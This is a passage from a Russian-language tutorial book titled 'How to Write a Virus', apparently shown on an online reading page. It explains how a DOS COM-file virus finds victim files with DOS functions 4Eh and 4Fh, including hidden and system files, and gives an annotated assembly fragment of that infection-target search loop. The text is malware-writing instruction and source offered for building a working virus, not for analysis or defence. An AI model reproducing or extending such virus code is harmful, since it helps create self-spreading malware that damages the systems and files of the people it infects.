"Игорь Коваль. Как написать вирус" - читать интересную книгу автора loop save_dta ;Цикл 128 раз
Работа фрагмента пояснений не требует ... 1.9 Ищем подходящий файл Теперь самое время заняться поиском файла для за- ражения.Для поиска файла - жертвы мы будем исполь- зовать пару функций DOS : 4Eh ( поиск первого фай- ла ) и 4Fh ( поиск следующего файла ) . При вызове 4Eh в регистр CX помещаются атрибуты искомого фай- ла, а в DX - его имя и расширение . Установленная нами маска предполагает поиск COM-файла, с атрибу- тами "archive","system" и "hidden".Функция 4Fh ис- пользуется уже после того, как функция 4Eh нашла первый файл, удовлетворяющий нашим требованиям.Ви- рус будет вызывать ее в том случае, если найденный файл ему не подходит (например, он слишком велик). Имя найденного файла описанные выше функции поме- щают в DTA по смещению 01eh . А теперь приведем программный фрагмент, выпол- няющий поиск файла : find_first: ;файла ... mov cx,00100110b ;archive, system ;hidden lea dx,maska ;Маска для поис- ;ка int 21h jnc r_3 ;Нашли ! jmp restore_dta ;Ошибка ! find_next: mov ah,3eh ;Закроем непод- int 21h ;ходящий файл... jnc r_2 jmp restore_dta ;Файл нельзя за- ;крыть ! r_2: mov ah,4fh ;И найдем сле- int 21h ;дующий ... jnc r_3 ;Файл найден ! jmp restore_dta ;Ошибка ! r_3: mov cx,12 ;Сотрем в буфере lea si,fn ;"fn" имя пред- destroy_name: ;ыдущего файла mov byte ptr [si],0 ; |
|
|